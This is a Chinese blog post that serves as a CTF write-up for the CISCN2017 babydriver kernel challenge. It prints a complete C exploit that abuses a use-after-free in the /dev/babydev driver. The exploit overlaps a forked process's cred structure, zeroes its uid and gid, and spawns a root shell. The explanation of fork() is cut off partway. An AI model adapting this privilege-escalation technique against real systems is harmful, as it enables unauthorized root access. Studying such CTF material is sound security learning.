Kernel内核第一道KernelUAF

15 篇文章 0 订阅
11 篇文章 0 订阅

CISCN2017 - babydriver

详细分析请移步kernel UAF - CTF Wiki,文章用作记录。

1.KVM问题:

KVM是虚拟化技术,有的机器可以通过bios中打开VT开启。但是我CPU i7-10875H并不支持。但这并不影响执行boot.sh启动Qume。只需要把boot.sh 中有关KVM那一行选项删掉即可。

2.exp分析:

CISCN2017_babydriver [master●●] cat exploit.c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);

    // 释放 fd1
    close(fd1);

    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if(pid == 0)
    {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }

    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

首先是fork()函数。

fork(复刻)函数就是从fork这段代码开始,复刻一个相同的进程。而在kernel中,一个进程拥有一个cred(类似身份证的东西)这个会记录进程是否为root权限。然后利用libc中UAF的技术,加上多进程的思想就可以实现kernelUAF。

fork函数的返回值:

1.负值,fork失败。

2.0  ,

3.正值,

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值